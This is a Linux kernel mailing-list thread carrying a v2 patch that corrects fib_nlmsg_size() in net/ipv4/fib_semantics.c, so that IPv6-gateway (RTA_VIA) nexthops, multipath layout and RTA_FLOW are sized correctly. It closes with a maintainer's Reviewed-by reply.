Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v2:
- drop the unused rt_family argument from fib_nexthop_nlmsg_size()
- remove the unreachable AF_INET6 else branch
- swap the RTA_ENCAP and RTA_ENCAP_TYPE comments
- use NLA_ALIGN(sizeof(struct rtnexthop)) to match nla_reserve_nohdr()
- v1 Link: https://lore.kernel.org/all/cover.1785058094.git.zihanx@nebusec.ai/
net/ipv4/fib_semantics.c | 67 +++++++++++++++++++++++++++++-----------
1 file changed, 49 insertions(+), 18 deletions(-)
diff --git a/net/ipv4/fib_semantics.c b/net/ipv4/fib_semantics.c
index 4f3c0740dde9..78f84ae3ee12 100644
--- a/net/ipv4/fib_semantics.c
+++ b/net/ipv4/fib_semantics.c
@@ -490,6 +490,34 @@ int ip_fib_check_default(__be32 gw, struct net_device *dev)
return -1;
}
+static size_t fib_nexthop_nlmsg_size(const struct fib_nh_common *nhc,
+ bool skip_oif)
+{
+ size_t nhsize = 0;
+
+ switch (nhc->nhc_gw_family) {
+ case AF_INET:
+ nhsize += nla_total_size(4); /* RTA_GATEWAY */
+ break;
+ case AF_INET6:
+ nhsize += nla_total_size(sizeof(struct rtvia) +
+ sizeof(struct in6_addr));
+ break;
+ }
+
+ if (!skip_oif && nhc->nhc_dev)
+ nhsize += nla_total_size(4); /* RTA_OIF */
+
+ if (nhc->nhc_lwtstate) {
+ /* RTA_ENCAP */
+ nhsize += lwtunnel_get_encap_size(nhc->nhc_lwtstate);
+ /* RTA_ENCAP_TYPE */
+ nhsize += nla_total_size(2);
+ }
+
+ return nhsize;
+}
+
size_t fib_nlmsg_size(struct fib_info *fi)
{
size_t payload = NLMSG_ALIGN(sizeof(struct rtmsg))
@@ -507,32 +535,35 @@ size_t fib_nlmsg_size(struct fib_info *fi)
payload += nla_total_size(4); /* RTA_NH_ID */
if (nhs) {
- size_t nh_encapsize = 0;
- /* Also handles the special case nhs == 1 */
-
- /* each nexthop is packed in an attribute */
- size_t nhsize = nla_total_size(sizeof(struct rtnexthop));
+ size_t mpsize = 0;
unsigned int i;
- /* may contain flow and gateway attribute */
- nhsize += 2 * nla_total_size(4);
-
- /* grab encap info */
for (i = 0; i < fib_info_num_path(fi); i++) {
struct fib_nh_common *nhc = fib_info_nhc(fi, i);
+ size_t nhsize;
+
+ nhsize = fib_nexthop_nlmsg_size(nhc, nhs != 1);
- if (nhc->nhc_lwtstate) {
- /* RTA_ENCAP_TYPE */
- nh_encapsize += lwtunnel_get_encap_size(
- nhc->nhc_lwtstate);
- /* RTA_ENCAP */
- nh_encapsize += nla_total_size(2);
+ if (nhs != 1)
+ nhsize += NLA_ALIGN(sizeof(struct rtnexthop));
+
+#ifdef CONFIG_IP_ROUTE_CLASSID
+ if (nhc->nhc_family == AF_INET) {
+ struct fib_nh *nh;
+
+ nh = container_of(nhc, struct fib_nh, nh_common);
+ if (nh->nh_tclassid)
+ nhsize += nla_total_size(4);
}
+#endif
+ if (nhs == 1)
+ payload += nhsize;
+ else
+ mpsize += nhsize;
}
- /* all nexthops are packed in a nested attribute */
- payload += nla_total_size((nhs * nhsize) + nh_encapsize);
-
+ if (nhs != 1)
+ payload += nla_total_size(mpsize);
}
return payload;
--
2.43.0
^ permalink raw reply related [flat|nested] 3+ messages in thread
* Re: [PATCH net v2 1/1] ipv4: Fix fib_nlmsg_size() for RTA_VIA nexthops
2026-07-30 12:59 ` [PATCH net v2 1/1] " Zihan Xi
@ 2026-07-30 13:53 ` Ido Schimmel
0 siblings, 0 replies; 3+ messages in thread
From: Ido Schimmel @ 2026-07-30 13:53 UTC (permalink / raw)
To: Zihan Xi; +Cc: netdev, dsahern, davem, edumazet, pabeni, horms, vega
On Thu, Jul 30, 2026 at 12:59:26PM +0000, Zihan Xi wrote:
> fib_nlmsg_size() still estimates nexthop space as if every gateway is
> encoded as an IPv4 RTA_GATEWAY attribute. IPv4 routes can also carry an
> IPv6 gateway, which fib_nexthop_info() dumps as RTA_VIA.
>
> As a result, route notifications can allocate an skb that is too small.
> fib_dump_info() then fails with -EMSGSIZE and rtmsg_fib() hits the
> WARN_ON() that marks such failures as a fib_nlmsg_size() bug. With
> panic_on_warn set, this becomes a kernel panic.
>
> Mirror the actual nexthop dump layout in fib_nlmsg_size(): account for
> IPv6 nexthop gateways dumped as RTA_VIA, for the no-header rtnexthop
> layout used inside RTA_MULTIPATH, and for RTA_FLOW only when it is
> actually present.
>
> Fixes: d15662682db2 ("ipv4: Allow ipv6 gateway with ipv4 routes")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Assisted-by: Codex:gpt-5.4
> Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
Reviewed-by: Ido Schimmel <idosch@nvidia.com>
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-07-30 13:54 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-30 12:59 [PATCH net v2 0/1] ipv4: Fix fib_nlmsg_size() for RTA_VIA nexthops Zihan Xi
2026-07-30 12:59 ` [PATCH net v2 1/1] " Zihan Xi
2026-07-30 13:53 ` Ido Schimmel
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox